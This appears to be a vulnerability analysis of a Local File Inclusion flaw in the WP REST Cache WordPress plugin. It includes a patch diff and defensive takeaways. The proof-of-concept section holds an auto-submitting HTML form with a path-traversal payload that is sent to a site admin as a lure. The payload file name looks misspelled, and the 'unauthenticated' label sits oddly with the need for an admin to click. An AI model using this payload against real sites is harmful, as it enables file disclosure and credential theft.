CVE-2025-52716 Analysis & POC

1 CVE & Basic Info
The WP REST Cache plugin version ≤ 2025.1.0 contains a Local File Inclusion vulnerability that allows an unauthenticated attacker to control the file parameter used in include/require
, thereby injecting or reading local files on the server (e.g., configuration files containing credentials), leading to leakage of sensitive information and, in some configurations, possible code execution.
- CVE ID: CVE-2025-52716
- Vulnerability Type: Local File Inclusion
- Affected Versions: <= 2025.1.0
- Patched Versions: 2025.1.1
- CVSS severity: High (7.5)
- Required Privilege: Unauthenticated
- Product: WordPress WP REST Cache Plugin
2 Requirements
- Local WordPress & Debugging: Local WordPress and Debugging.
- Plugin versions - WP REST Cache: 2025.1.0 (vulnerable) and 2025.1.1 (patched).
- Diff tool - Meld or any diff/comparison tool to inspect differences between the two versions.
3 Analysis
3.1 Patch diff
Vulnerable version:
public function settings_page() {
$this->settings_panels = apply_filters( 'wp_rest_cache/settings_panels', $this->settings_panels );
$sub = filter_input( INPUT_GET, 'sub', FILTER_SANITIZE_FULL_SPECIAL_CHARS );
if ( empty( $sub ) ) {
$sub = 'settings';
}
include_once __DIR__ . '/partials/header.php';
if ( isset( $this->settings_panels[ $sub ]['template'] ) ) {
include_once $this->settings_panels[ $sub ]['template'];
} elseif ( file_exists( __DIR__ . '/partials/sub-' . $sub . '.php' ) ) {
include_once __DIR__ . '/partials/sub-' . $sub . '.php';
} else {
include_once __DIR__ . '/partials/sub-settings.php';
}
}
In the vulnerable version, $sub
is the value returned by filter_input()
taken from the GET parameter (?sub=...
) in the URL using the filter FILTER_SANITIZE_FULL_SPECIAL_CHARS
, which escapes "<>&
and characters with ASCII values below 32. This filter does not remove .
(46) or /
(47).
$sub
is concatenated into a string with the '.php'
suffix and then include_once
d without any protection against LFI.
Patch:
public function settings_page() {
$this->settings_panels = apply_filters( 'wp_rest_cache/settings_panels', $this->settings_panels );
$sub = filter_input( INPUT_GET, 'sub', FILTER_SANITIZE_FULL_SPECIAL_CHARS );
if ( empty( $sub ) ) {
$sub = 'settings';
}
$potential_sub_file = __DIR__ . '/partials/sub-' . $sub . '.php';
if ( dirname( $potential_sub_file ) !== __DIR__ . '/partials' ) {
$sub = 'settings';
}
include_once __DIR__ . '/partials/header.php';
if ( isset( $this->settings_panels[ $sub ]['template'] ) ) {
include_once $this->settings_panels[ $sub ]['template'];
} elseif ( file_exists( __DIR__ . '/partials/sub-' . $sub . '.php' ) ) {
include_once __DIR__ . '/partials/sub-' . $sub . '.php';
} else {
include_once __DIR__ . '/partials/sub-settings.php';
}
}
The patch adds a check on the file location before include, ensuring the file to be loaded is located within the partials
directory. If a path outside that directory is detected (e.g., due to ../
), the plugin falls back to a safe default file. This eliminates the LFI vulnerability.
3.2 Vulnerable Code
settings_page()
is registered as the submenu callback:
add_submenu_page(
'options-general.php',
'WP REST Cache',
'WP REST Cache',
$capability,
'wp-rest-cache',
[
$this,
'settings_page',
]
);
So when the endpoint
GET /wp-admin/options-general.php?page=wp-rest-cache HTTP/1.1
is accessed, settings_page()
is invoked.
4 Exploit
4.1 Proof of Concept (PoC)
4.1.1 Step 1
Create a web page with a form that automatically sends a request with the LFI payload
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form action="http://localhost:80//wp-admin/options-general.php" method="get">
<input type="text" name="page" value="wp-rest-cache">
<input type="text" name="sub" value="/../../../../../../wp-cofnig">
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>
4.1.2 Step 2
Send the link to an admin or a privileged user
This vulnerability can only be exploited on Windows, because file_exists()
handles paths differently between operating systems. On Linux, if the path includes a non-existent directory, the function returns false
. On Windows, the same path may return true
, allowing the condition check to be bypassed and the vulnerability to be triggered.
5 Conclusion
WP REST Cache versions ≤ 2025.1.0 allow Local File Inclusion via the sub
parameter. The patch in 2025.1.1 fixes the issue by validating the file location before including it—ensuring files are only loaded if they reside in the partials
directory—thereby preventing path traversal/LFI.
6 Key takeaways
- Concatenating request data directly into file paths risks LFI.
- Always validate the real/resolved file location (absolute path) before including.
- Restrict allowed files by comparing against an intended directory (whitelist) — this is more effective than merely sanitizing characters.
- Test on multiple platforms (Windows/Linux) since file-handling behavior can differ.
7 References
File Inclusion/Path traversal — Hacktrick
WordPress WP REST Cache Plugin <= 2025.1.0 is vulnerable to Local File Inclusion